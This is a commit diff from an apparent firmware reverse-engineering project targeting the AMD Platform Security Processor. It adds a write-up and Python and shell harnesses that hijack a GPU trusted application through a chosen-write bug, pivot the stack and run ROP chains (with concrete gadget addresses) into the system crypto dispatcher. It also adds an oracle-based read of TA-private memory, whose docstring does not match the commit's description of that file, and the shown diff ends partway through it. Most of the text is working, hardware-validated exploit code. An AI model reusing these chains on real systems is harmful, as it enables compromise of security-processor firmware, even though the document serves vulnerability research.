aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authoruser <user@clank>2026-10-08 13:50:00 +0200
committeruser <user@clank>2026-10-08 13:50:00 +0200
commite76fd3a5d5bbabdc77ce9d559bee1a93ce4eac72 (patch)
treec43394bf054beb9007dfceaee731d0b1b7fae171
parentadd clean GCP->SYS_DRV crypto ROP harness (hw/gcp_rop_crypto.py) (diff)
downloadamd-psp-re-e76fd3a5d5bbabdc77ce9d559bee1a93ce4eac72.tar.gz
amd-psp-re-e76fd3a5d5bbabdc77ce9d559bee1a93ce4eac72.tar.xz
amd-psp-re-e76fd3a5d5bbabdc77ce9d559bee1a93ce4eac72.zip
crypto ROP harness: multi-op (two-svc) validated on silicon + usage/status doc
gcp_rop_crypto2.py: issues TWO svc 0xf2 service-1 calls inside ONE FE0A-hijacked chain (the FE0A->ROP hijack is one-shot per boot, so stateful sequences must be in one chain). Hardware-validated: - create SHA256 -> handle 0x10 (status 0, dumped back) - create -> create -> handles 0x10 then 0x11: multi-op sequencing + crypto CONTEXT STATE PERSISTENCE proven on silicon - create -> digest(0x08): input 32B placed in the GCP-window scratch and dumped back correctly; the transform returned 0xffff0006 because op 0x08 reads ctx[5]>>3 (digest len) which create leaves 0 (it stores diglen at ctx[3]) -- op 0x08 expects the operation 'started' (ctx[5] set by a digest-init step). Precisely characterized via sub_E0B148/sub_E1CDEC/sub_E055D0; documented as the next lead. Added fw/HARNESS-GCP-CRYPTO-ROP.md (mechanism, message layout, AllocateOperation tuple, buffer- direction table off_E0AB70@0xe25850, validated results, the digest state-machine lead) and mirrored hw/gcp_rop_crypto.py, hw/gcp_rop_crypto2.py + runners into the repo. The harness is clean, parameterized, and hardware-validated driving real crypto operations (context creation with state persistence) with input/output buffer plumbing and result dump-back.
-rw-r--r--fw/HARNESS-GCP-CRYPTO-ROP.md75
-rwxr-xr-xhw/crypto2_run.sh8
-rwxr-xr-xhw/crypto2b_run.sh9
-rwxr-xr-xhw/crypto_ops.sh9
-rw-r--r--hw/gcp_rop_crypto.py119
-rw-r--r--hw/gcp_rop_crypto2.py306
6 files changed, 457 insertions, 69 deletions
diff --git a/fw/HARNESS-GCP-CRYPTO-ROP.md b/fw/HARNESS-GCP-CRYPTO-ROP.md
new file mode 100644
index 0000000..3ab62ea
--- /dev/null
+++ b/fw/HARNESS-GCP-CRYPTO-ROP.md
@@ -0,0 +1,75 @@
+# Harness: GCP-ROP crypto driver (svc 0xf2 service 1 -> SYS_DRV GP-TEE crypto dispatcher)
+
+A clean, parameterized ROP harness that drives the SYS_DRV GP-TEE crypto dispatcher (`sub_E1DC30`,
+opcodes `< 0x1000`, ACL-free) from a ROP'd GCP TA and dumps results back to host-readable `params`.
+Built on the proven FE0A sel-4 chosen-write -> stack-migration -> `svc 0xf2` service-1 chain.
+
+## Files (on the hardware box at /root/psp/hw, mirrored here in hw/)
+
+* `gcp_rop_crypto.py` -- single crypto op per boot. Env `OPCODE` + `MSGSPEC` (JSON dword_index->value)
+ OR `OPS` (JSON list, runs each via fresh FE07/0C/08/09/0A -- but see one-shot note below).
+* `gcp_rop_crypto2.py` -- **two `svc 0xf2` calls inside ONE FE0A-hijacked chain** (the working
+ multi-op form). Env `OPS`=JSON `[{op,msg},{op,msg}]`; also `INBYTES` (hex, placed in a window scratch
+ at `STACK_DST+0x500`) and `DUMP_OFF` (which migrated-block offset to dump).
+* runners: `crypto_run.sh`, `crypto_ops.sh`, `crypto2_run.sh`, `crypto2b_run.sh`, `crypto_algo_sweep.sh`
+ (each: ATX cycle + one detached invocation; poll the `.log`).
+
+## Mechanism
+
+The FE0A ROP migrates a block to `STACK_DST=0x410000` (GCP window), issues `svc 0xf2` with `r0=1`
+(service 1 = SYS_DRV), `r1=msg` (crypto request), exfils the `svc` return `r0` to `params+0x3000`,
+and runs a SECOND in-chain `memcpy` that copies a chosen migrated-block region to `params+0x3010`
+(host-readable) -- this is how inline results and output buffers are read back. A graceful-return tail
+restores the TA (ring survives; marker `0x5a` at `params+0x3100`).
+
+**One-shot hijack:** the FE0A->ROP hijack fires only ONCE per boot (re-priming FE08/09/0A, even with a
+fresh handshake, does not re-hijack). Stateful sequences (create -> operate) therefore issue BOTH
+`svc 0xf2` calls inside a single ROP chain (`gcp_rop_crypto2.py`). Context handles are deterministic
+on a fresh boot (first create -> `0x10`), so the second op references the first op's handle without
+threading a return value.
+
+## Crypto request message layout (dispatcher a1 = 124-byte copy of msg)
+
+ msg[0] = opcode
+ msg[2..9] = up to 4 (ptr,len) buffer pairs; validated to the GCP window [0x400000,0x800000)
+ by the type-5 svc-0xf2 gate + SVC 0xB5. Direction per opcode is in table
+ off_E0AB70 -> 0xe25850 (stride 0x14): attr 1=input, 2=output, 0=unused.
+ msg[14] = TEE_AllocateOperation output handle (written by op 0x01)
+ msg[15] = algorithm (op 0x01) / operation handle (op 0x08 digest)
+ msg[16] = mode (TEE_MODE: 0 ENC,1 DEC,2 SIGN,3 VERIFY,4 MAC,5 DIGEST,6 DERIVE)
+ msg[17] = maxKeySize
+
+`TEE_AllocateOperation(algo,mode,maxKeySize)` validation = `sub_E055D0`; wrong tuple -> `0xffff000a`.
+
+## HARDWARE-VALIDATED results (stock .54 card)
+
+| test | result |
+|---|---|
+| op 0x01 create SHA256 digest (`msg[15]=0x50000004, msg[16]=5, msg[17]=0`) | **status 0x0**, handle `0x10` written to `msg[14]` and dumped back; marker `0x5a`; ring ok |
+| op 0x01 -> op 0x01 (two-svc chain) | op A handle `0x10`, **op B handle `0x11`** -> multi-op sequencing + crypto context STATE PERSISTENCE proven |
+| op 0x01 -> op 0x08 digest, input 32 B `00..1f` in window scratch, output buffer in window | input correctly placed + dumped back (`03020100 ... 1f1e1d1c`); digest returned `0xffff0006` (see lead) |
+
+These confirm end-to-end: GCP ROP -> `svc 0xf2` service 1 -> SYS_DRV GP-TEE crypto dispatcher executes
+real crypto operations, state persists across calls, and input/output buffers (in the GCP window) are
+placed and dumped back to the host.
+
+## Understanding validated / corrected by the harness
+
+* message layout + `TEE_AllocateOperation` tuple (`msg[15/16/17]`, handle at `msg[14]`) -- confirmed.
+* buffer-direction table `off_E0AB70`@`0xe25850` -- confirmed op 0x08 = [in,in,out,-].
+* crypto buffers confined to the GCP window `[0x400000,0x800000)` (type-5 gate) -- consistent (no
+ cross-domain buffer accepted).
+* corrected model: create REQUIRES the mode field `msg[16]` (initial `0xffff000a` was wrong-mode).
+* discovered + solved the one-shot FE0A-hijack limitation (two-svc-in-one-chain).
+
+## Open lead: the digest DATA transform (op 0x08) needs the operation "started"
+
+`sub_E1CDEC` computes `v9 = ctx[5] >> 3` (expected digest length) and rejects `input_len > v9`.
+`sub_E0B148` confirms handle `0x10` resolves to the exact ctx created by op A (same table `0xe575b8`,
+owner-checked). But create (`sub_E055D0`) stores the digest byte-length at `ctx[3]` (=32 for SHA256)
+and leaves **`ctx[5]=0`**, so `v9=0` and any input is rejected with `0xffff0006`. So op 0x08 is not a
+one-shot DoFinal from a freshly-allocated op -- it expects `ctx[5]` to have been set by a prior
+digest-init/reset step in the GP-TEE digest state machine. Next: find the op that sets `ctx[5]`
+(DigestInit/reset) and chain create -> init -> digest (the two-svc chain extends to N by adding svc
+stages), then verify the dumped output equals the host SHA256. This is exploration the harness now
+enables.
diff --git a/hw/crypto2_run.sh b/hw/crypto2_run.sh
new file mode 100755
index 0000000..0bf9bd1
--- /dev/null
+++ b/hw/crypto2_run.sh
@@ -0,0 +1,8 @@
+#!/bin/bash
+cd /root/psp && source ./env.sh >/dev/null 2>&1
+rm -f /tmp/am_usb*.lock
+$PSP_PY work/atx_power.py cycle 16 >/dev/null 2>&1
+cd /root/psp/hw
+echo "---- OPS=$1 ----"
+OPS="$1" timeout 150 $PSP_PY /root/psp/hw/gcp_rop_crypto2.py 2>&1 | grep -E "self-test|load GCP|TWO-SVC|FE0A status|svc\(B\)|msgB|final FE07|Traceback|Error" | head -30
+echo CRYPTO2-DONE
diff --git a/hw/crypto2b_run.sh b/hw/crypto2b_run.sh
new file mode 100755
index 0000000..b064587
--- /dev/null
+++ b/hw/crypto2b_run.sh
@@ -0,0 +1,9 @@
+#!/bin/bash
+# $1=OPS $2=INBYTES $3=DUMP_OFF
+cd /root/psp && source ./env.sh >/dev/null 2>&1
+rm -f /tmp/am_usb*.lock
+$PSP_PY work/atx_power.py cycle 16 >/dev/null 2>&1
+cd /root/psp/hw
+echo "---- digest test ----"
+OPS="$1" INBYTES="$2" DUMP_OFF="$3" timeout 150 $PSP_PY /root/psp/hw/gcp_rop_crypto2.py 2>&1 | grep -E "self-test|load GCP|TWO-SVC|FE0A status|svc\(B\)|msgB|final FE07|Traceback|Error" | head -30
+echo CRYPTO2B-DONE
diff --git a/hw/crypto_ops.sh b/hw/crypto_ops.sh
new file mode 100755
index 0000000..0052a6f
--- /dev/null
+++ b/hw/crypto_ops.sh
@@ -0,0 +1,9 @@
+#!/bin/bash
+# $1 = OPS json
+cd /root/psp && source ./env.sh >/dev/null 2>&1
+rm -f /tmp/am_usb*.lock
+$PSP_PY work/atx_power.py cycle 16 >/dev/null 2>&1
+cd /root/psp/hw
+echo "---- OPS=$1 ----"
+OPS="$1" timeout 150 $PSP_PY /root/psp/hw/gcp_rop_crypto.py 2>&1 | grep -E "self-test|load GCP|crypto op sequence|\[op |msg\[14\]|dump M|final FE07|Traceback|Error" | head -40
+echo CRYPTO-OPS-DONE
diff --git a/hw/gcp_rop_crypto.py b/hw/gcp_rop_crypto.py
index 1335eac..3afa1c5 100644
--- a/hw/gcp_rop_crypto.py
+++ b/hw/gcp_rop_crypto.py
@@ -209,65 +209,51 @@ def fe0c(h,a10,a18):
return b
# ===================== CRYPTO ROP HARNESS (svc 0xf2 service 1, opcode < 0x1000) =====================
-# Drives the SYS_DRV GP-TEE crypto dispatcher (sub_E1DC30) from a ROP'd GCP TA and dumps the
-# post-op message region back to host-readable params so inline results (e.g. a created context
-# handle at msg[14]) are observable.
+# Drives the SYS_DRV GP-TEE crypto dispatcher (sub_E1DC30) from a ROP'd GCP TA. Supports a MULTI-OP
+# sequence in one boot (crypto contexts are stateful and persist across invokes within a boot), and
+# dumps each op's post-op message region back to host-readable params so inline results (e.g. a
+# created context handle at msg[14]) and small outputs are observable.
#
# Env:
-# OPCODE crypto opcode (default 0x1 = create context)
-# MSGSPEC JSON {"<dword_index>": value} -> extra request fields written at msg[index]
+# OPS JSON list of ops, each {"op": <opcode>, "msg": {"<dword_index>": value, ...}}
+# e.g. [{"op":1,"msg":{"15":1342177284,"16":5,"17":0}}] # AllocateOperation(SHA256,DIGEST,0)
+# (back-compat) OPCODE + MSGSPEC drive a single op if OPS is unset.
#
-# Message layout (dispatcher a1 = 124-byte copy of msg):
-# msg[0] = opcode
-# msg[2..9] = up to 4 (ptr,len) buffer pairs (validated to the GCP window by SVC 0xB5)
-# msg[14]/[15]= inline handle/algo fields (op-specific)
-# After the op, sub_E087E4 copies the 124-byte working buffer back over msg, so results land inline.
-RBASE_OFF=0x2000 # primary chain (host buf), RBASE=params+0x2000
-SRC_OFF =0x2200 # migrated block source (host buf)
-STACK_DST=0x00410000 # in-window GCP RW dest (SP after repivot); GCP TA window
-MLEN =0x400 # migrated block length (room for dump stage + msg)
-EXFIL =PARAMS+0x3000 # svc 0xf2 return status r0 lands here
-DUMPDST =PARAMS+0x3010 # post-op message M[0..DUMPLEN] copied here (host-readable)
-DUMPLEN =0x80
-MARK2 =PARAMS+0x3100 # graceful-chain-ran marker
-SETARGS =0x0040167f # pop {r0,r1,r2,r3,r4,r5,r6,r7,r8,sb,sl,fp,ip,pc}
-MEMCPYG =0x0040410b # blx memcpy ; movs r0,#0 ; add sp,#0x28 ; pop {r4,r5,r7,pc}
-SVC1 =0x004061cb # svc 0xf2 ; add sp,#0x1c ; pop {r4,r5,pc} (keeps r0)
-EXFILG =0x0040404f # str r0,[r5] ; add sp,#0x80 ; pop {r4,r5,r7,pc}
-SERVICE =1 # service 1 = SYS_DRV
+# Buffer-direction table off_E0AB70 -> 0xe25850 (stride 0x14): per opcode, 4 attrs for msg buffer
+# pairs (msg[2/3],[4/5],[6/7],[8/9]); 1=input, 2=output, 0=unused. e.g. op 8 (digest)=[in,in,out,-].
+RBASE_OFF=0x2000; SRC_OFF=0x2200; STACK_DST=0x00410000; MLEN=0x400
+EXFIL=PARAMS+0x3000; DUMPDST=PARAMS+0x3010; DUMPLEN=0x80; MARK2=PARAMS+0x3100
+SETARGS=0x0040167f; MEMCPYG=0x0040410b; SVC1=0x004061cb; EXFILG=0x0040404f
+SERVICE=1; MSG_OFF=0x300; GRACE=0x184
import os as _os, json as _json
-OPCODE =int(_os.environ.get('OPCODE','0x1'),16)
-MSGSPEC =_json.loads(_os.environ.get('MSGSPEC','{}')) # {"dword_index": value}
-MSG_OFF =0x300 # msg at STACK_DST+0x300 (in window)
-GRACE =0x184 # graceful-return block at STACK_DST+0x184
+_ops_env=_os.environ.get('OPS')
+if _ops_env:
+ OPS=_json.loads(_ops_env)
+else:
+ OPS=[{"op":int(_os.environ.get('OPCODE','0x1'),16),
+ "msg":{k:int(v) for k,v in _json.loads(_os.environ.get('MSGSPEC','{}')).items()}}]
-def chain(buf):
+def chain(buf, opcode, msgspec):
def W(off,v): _s.pack_into('<I',buf,off,v&0xFFFFFFFF)
- # ---- primary chain in host buffer: migrate block -> STACK_DST, pivot in ----
o=RBASE_OFF
for k in range(0,0x20,4): W(o+k,0)
W(o+0x20, SETARGS)
- W(o+0x24, STACK_DST); W(o+0x28, PARAMS+SRC_OFF); W(o+0x2c, MLEN) # r0=dst r1=src r2=len
+ W(o+0x24, STACK_DST); W(o+0x28, PARAMS+SRC_OFF); W(o+0x2c, MLEN)
for k in range(0x30,0x58,4): W(o+k,0)
W(o+0x58, MEMCPYG)
- W(o+0x84, STACK_DST); W(o+0x88,0); W(o+0x8c,0); W(o+0x90, PIVOT) # r4=STACK_DST ; -> repivot
- # ---- migrated block (STACK_DST-relative offsets from m) ----
+ W(o+0x84, STACK_DST); W(o+0x88,0); W(o+0x8c,0); W(o+0x90, PIVOT)
m=SRC_OFF
- for k in range(0,0x20,4): W(m+k,0) # PIVOT pops r4..fp
- W(m+0x20, SETARGS) # -> setargs for svc
- W(m+0x24, SERVICE); W(m+0x28, STACK_DST+MSG_OFF) # r0=service r1=msg
+ for k in range(0,0x20,4): W(m+k,0)
+ W(m+0x20, SETARGS)
+ W(m+0x24, SERVICE); W(m+0x28, STACK_DST+MSG_OFF)
for k in range(0x2c,0x58,4): W(m+k,0)
- W(m+0x58, SVC1) # -> svc 0xf2 (r0=status kept)
- W(m+0x78,0); W(m+0x7c, EXFIL); W(m+0x80, EXFILG) # r5=EXFIL ; -> exfil status
- # EXFILG pops r4,r5,r7,pc @ m+0x104..0x110 ; redirect pc to SETARGS for the dump-memcpy
- W(m+0x104,0); W(m+0x108,0); W(m+0x10c,0); W(m+0x110, SETARGS)
- # SETARGS pops @ m+0x114.. : memcpy(DUMPDST, STACK_DST+MSG_OFF, DUMPLEN)
+ W(m+0x58, SVC1)
+ W(m+0x78,0); W(m+0x7c, EXFIL); W(m+0x80, EXFILG) # exfil svc 0xf2 status r0
+ W(m+0x104,0); W(m+0x108,0); W(m+0x10c,0); W(m+0x110, SETARGS) # -> dump-memcpy setargs
W(m+0x114, DUMPDST); W(m+0x118, STACK_DST+MSG_OFF); W(m+0x11c, DUMPLEN)
for k in range(0x120,0x148,4): W(m+k,0)
- W(m+0x148, MEMCPYG) # -> memcpy (dump msg)
- # MEMCPYG pops r4,r5,r7,pc @ m+0x174..0x180 : r4=grace base, pc=PIVOT
+ W(m+0x148, MEMCPYG) # memcpy(DUMPDST, msg, DUMPLEN)
W(m+0x174, STACK_DST+GRACE); W(m+0x178,0); W(m+0x17c,0); W(m+0x180, PIVOT)
- # ---- graceful return at STACK_DST+GRACE ----
g=m+GRACE
W(g+0x00,0x5A); W(g+0x04,MARK2)
for k in (0x08,0x0c,0x10,0x14,0x18,0x1c): W(g+k,0)
@@ -278,13 +264,11 @@ def chain(buf):
W(g+0x6c,0x00); W(g+0x70,0x41bfbf); W(g+0x74,0);W(g+0x78,0);W(g+0x7c,0); W(g+0x80,STRB)
W(g+0x84,0x41bf9c); W(g+0x88,0); W(g+0x8c,0);W(g+0x90,0);W(g+0x94,0); W(g+0x98,SETR0)
W(g+0x9c,R0VAL); W(g+0xa0,0); W(g+0xa4,0); W(g+0xa8,PIVOT)
- # ---- crypto message M at STACK_DST+MSG_OFF ----
- for k in range(MSG_OFF,MSG_OFF+0x100,4): W(m+k,0) # zero M (incl buffer pairs)
- W(m+MSG_OFF, OPCODE) # M[0]=opcode
- for idx,val in MSGSPEC.items():
- W(m+MSG_OFF+int(idx)*4, int(val)&0xFFFFFFFF) # arbitrary request fields
+ for k in range(MSG_OFF,MSG_OFF+0x100,4): W(m+k,0)
+ W(m+MSG_OFF, opcode)
+ for idx,val in msgspec.items(): W(m+MSG_OFF+int(idx)*4, int(val)&0xFFFFFFFF)
-def qcs(h,dA,dB):
+def qcs(h,dA,dB,opcode,msgspec):
b=bytearray(bytes([0xBB])*BUFLEN)
_s.pack_into('<I',b,0,0xFE0A); _s.pack_into('<I',b,0x10,h)
_s.pack_into('<I',b,0x14,0x11111111); _s.pack_into('<I',b,0x414,0x1000)
@@ -292,26 +276,23 @@ def qcs(h,dA,dB):
_s.pack_into('<I',b,0x820,4); _s.pack_into('<I',b,0x824,0); _s.pack_into('<I',b,0x828,0)
_s.pack_into('<I',b,0x838,dB&0xFFFFFFFF); _s.pack_into('<I',b,0x83c,0x200)
_s.pack_into('<I',b,0x840,dA&0xFFFFFFFF); _s.pack_into('<Q',b,0x14+0x200,0)
- chain(b); return b
+ chain(b,opcode,msgspec); return b
A10=RBASE&0xFFFFFFFF; A18=(PIVOT<<32)
-h=handshake()
-stc,_=sub(sid,0xFE0C,fe0c(h,A10,A18))
-sub(sid,0xFE08,build(0xFE08,h,blob256=CT))
-sub(sid,0xFE09,build(0xFE09,h,seed=1,extra={0x820:1,0x828:(0x500-0x418)&0xFFFFFFFF,0x82C:SEED,0x830:0}))
-out=invoke(0xFE0A,qcs(h,disp(SLOT-0x1c),disp(SLOT-0x04)))
-st=_s.unpack_from('<I',out,8)[0]; fr=fframe()
-status=_s.unpack_from('<I',out,0x3000)[0]
-grace_marker=out[0x3100]
-msgdump=out[0x3010:0x3010+DUMPLEN]
-print("CRYPTO FE0A status=%#x faultFSR=%#x faultaddr=%#x"%(st,fr[3],fr[4]))
-print(" graceful marker @+0x3100 = %#04x (want 0x5a)"%grace_marker)
-print(" svc 0xf2 return @+0x3000 = %#x"%status)
-md=[_s.unpack_from('<I',msgdump,i*4)[0] for i in range(DUMPLEN//4)]
-print(" post-op msg dump (M[0..%d]):"%(DUMPLEN//4))
-for i in range(0,DUMPLEN//4,8):
- print(" M[%2d]: %s"%(i," ".join("%08x"%md[i+j] for j in range(8) if i+j<len(md))))
+print("=== crypto op sequence (%d ops, one boot; fresh setup per op) ==="%len(OPS))
+for n,spec in enumerate(OPS):
+ op=int(spec["op"]); msgspec=spec.get("msg",{})
+ h=handshake() # fresh FE07 handle per op (ctx persists in SYS_DRV)
+ sub(sid,0xFE0C,fe0c(h,A10,A18))
+ sub(sid,0xFE08,build(0xFE08,h,blob256=CT))
+ sub(sid,0xFE09,build(0xFE09,h,seed=1,extra={0x820:1,0x828:(0x500-0x418)&0xFFFFFFFF,0x82C:SEED,0x830:0}))
+ out=invoke(0xFE0A,qcs(h,disp(SLOT-0x1c),disp(SLOT-0x04),op,msgspec))
+ status=_s.unpack_from('<I',out,0x3000)[0]
+ grace=out[0x3100]
+ md=[_s.unpack_from('<I',out,0x3010+i*4)[0] for i in range(DUMPLEN//4)]
+ reached=(status!=0xffff0001)
+ print("[op %d] opcode=%#x status=%#x grace=%#04x reached=%s"%(n,op,status,grace,reached))
+ print(" msg[14]=%#x msg[15]=%#x msg[16]=%#x msg[17]=%#x"%(md[14],md[15],md[16],md[17]))
+ print(" dump M[0..7]: %s"%" ".join("%08x"%md[i] for i in range(8)))
ta,o2=sub(sid,0xFE07,build(0xFE07,0)); h2=_s.unpack_from('<I',o2,0x1950)[0]
-print(" follow-up FE07 (no ATX): ta=%#x handle=%#x ringok=%s"%(ta,h2,ta==0))
-reached=(status!=0xffff0001)
-print(" RESULT OPCODE=%#x status=%#x M[14]=%#x reached=%s ringok=%s"%(OPCODE,status,md[14],reached,ta==0))
+print(" final FE07 (no ATX): ta=%#x ringok=%s"%(ta,ta==0))
diff --git a/hw/gcp_rop_crypto2.py b/hw/gcp_rop_crypto2.py
new file mode 100644
index 0000000..075121c
--- /dev/null
+++ b/hw/gcp_rop_crypto2.py
@@ -0,0 +1,306 @@
+"""END-TO-END: read a dword of TA-private code via FE0A's comparator oracle.
+
+params VA = 0x04024000 (pinned: fault addr 0x54024014 - 0x14 - 0x50000000).
+Target VA T -> D = (T - params - 0x14) mod 2^32, placed at *(params+0x824).
+Oracle: FE0A returns 0 (ACCEPT) iff counter < value_at_T, else 0x100 (REJECT).
+Counter is set exactly by FE09's seed (counter = seed-1), seed = DATA[0:4], which is inside the
+AES-CMAC'd region -- so each probe needs a freshly computed CMAC. Pure-Python AES-128 below
+(the box has no crypto module). 32 probes binary-search the full 32-bit value.
+"""
+import struct, sys, glob, json
+sys.path.insert(0,'/root/psp/hw')
+from tinygrad import Device
+import tinygrad.runtime.autogen.am.am as am
+
+# ---------- pure-python AES-128 + CMAC ----------
+SB=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16]
+def xt(a):
+ a<<=1
+ return (a^0x1b)&0xff if a&0x100 else a
+def expand(k):
+ w=[list(k[i*4:i*4+4]) for i in range(4)]; rc=1
+ for i in range(4,44):
+ t=list(w[i-1])
+ if i%4==0:
+ t=t[1:]+t[:1]; t=[SB[x] for x in t]; t[0]^=rc; rc=xt(rc)
+ w.append([w[i-4][j]^t[j] for j in range(4)])
+ return w
+def enc(k,b):
+ w=expand(k); s=[list(b[i::4]) for i in range(4)]
+ s=[[b[r+4*c] for c in range(4)] for r in range(4)]
+ def ark(rnd):
+ for c in range(4):
+ for r in range(4): s[r][c]^=w[rnd*4+c][r]
+ ark(0)
+ for rnd in range(1,11):
+ for r in range(4):
+ for c in range(4): s[r][c]=SB[s[r][c]]
+ for r in range(1,4): s[r]=s[r][r:]+s[r][:r]
+ if rnd!=10:
+ for c in range(4):
+ a=[s[r][c] for r in range(4)]
+ s[0][c]=xt(a[0])^xt(a[1])^a[1]^a[2]^a[3]
+ s[1][c]=a[0]^xt(a[1])^xt(a[2])^a[2]^a[3]
+ s[2][c]=a[0]^a[1]^xt(a[2])^xt(a[3])^a[3]
+ s[3][c]=xt(a[0])^a[0]^a[1]^a[2]^xt(a[3])
+ ark(rnd)
+ return bytes(s[r][c] for c in range(4) for r in range(4))
+def dbl(b):
+ n=int.from_bytes(b,'big')<<1
+ if int.from_bytes(b,'big')>>127: n^=0x87
+ return (n&((1<<128)-1)).to_bytes(16,'big')
+def cmac(k,m):
+ L=enc(k,bytes(16)); K1=dbl(L)
+ assert len(m)%16==0 and m
+ blocks=[m[i:i+16] for i in range(0,len(m),16)]
+ blocks[-1]=bytes(a^b for a,b in zip(blocks[-1],K1))
+ x=bytes(16)
+ for blk in blocks: x=enc(k,bytes(a^b for a,b in zip(x,blk)))
+ return x
+# ---------- device ----------
+adev=Device["AMD"].iface.dev_impl; psp=adev.psp
+BUFLEN=0x40000; PAT=0xA5; SZ=0x1000; PARAMS=0x04024000
+g=json.load(open('/root/psp/hw/fe08_good.json'))
+CT=bytes.fromhex(g['ct']); SK=bytes.fromhex(g['sk']); SEED=g['seedoff']
+assert cmac(SK,bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'], 'CMAC self-test FAILED'
+print('pure-python AES-CMAC self-test: OK (matches the host-computed MAC)')
+def alloc(n):
+ pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
+def load_asd(p):
+ b=open(p,'rb').read(); ap,amc=alloc(0x80000); sp,smc=alloc(0x10000); n=(len(b)+3)&~3
+ adev.vram.view(ap,n)[:]=b+b'\x00'*(n-len(b)); adev.gmc.flush_hdp()
+ c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_ASD); t=c.cmd.cmd_load_ta
+ t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(b)
+ t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=smc&0xFFFFFFFF,smc>>32; t.cmd_buf_len=0x10000
+ try: return psp._ring_submit(c).resp.status&0xFFFFFFFF
+ except Exception: return -1
+app_pa,app_mc=alloc(0x80000); cp,cmc=alloc(BUFLEN)
+blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
+def load():
+ n=(len(blob)+3)&~3
+ adev.vram.view(app_pa,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
+ c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
+ t.app_phy_addr_lo,t.app_phy_addr_hi=app_mc&0xFFFFFFFF,app_mc>>32; t.app_len=len(blob)
+ t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=BUFLEN
+ try:
+ r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id
+ except Exception: return -1,None
+def build(cmd,arg10,blob256=None,seed=None,extra=None):
+ buf=bytearray(bytes([PAT])*BUFLEN)
+ struct.pack_into('<I',buf,0,cmd); struct.pack_into('<I',buf,0x10,arg10)
+ struct.pack_into('<I',buf,0x414,0xFFFFFFFB); struct.pack_into('<I',buf,0x818,SZ)
+ if blob256: buf[0x14:0x14+len(blob256)]=blob256
+ if seed is not None:
+ d=seed.to_bytes(4,'little')+bytes(range(4,0x20))
+ buf[0x14:0x24]=cmac(SK,d); buf[0x24:0x24+len(d)]=d
+ struct.pack_into('<I',buf,0x414,0x10+len(d))
+ for o,v in (extra or {}).items(): struct.pack_into('<I',buf,o,v)
+ return buf
+def sub(sid,cmd,buf):
+ adev.vram.view(cp,BUFLEN)[:]=bytes(buf); adev.gmc.flush_hdp()
+ c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
+ iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,cmd
+ try: psp._ring_submit(c)
+ except Exception: pass
+ adev.gmc.flush_hdp(); out=bytes(adev.vram.view(cp,BUFLEN)[:])
+ return struct.unpack_from('<I',out,8)[0], out
+
+import time
+PARAMS=0x04024000
+FILL=0xBB
+print('LOAD_ASD:',hex(load_asd('/root/psp/contall/asd_33-0-0-163_18debcc4.bin')))
+st,sid=load(); print('load GCP: %#x sid=%s'%(st,sid)); sys.stdout.flush()
+def unload(s_):
+ c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA); c.cmd.cmd_unload_ta.session_id=s_
+ try: psp._ring_submit(c)
+ except Exception: pass
+def handshake():
+ global sid
+ for _ in range(8):
+ ta,out=sub(sid,0xFE07,build(0xFE07,0)); h=struct.unpack_from('<I',out,0x1950)[0]
+ if ta==0: return h
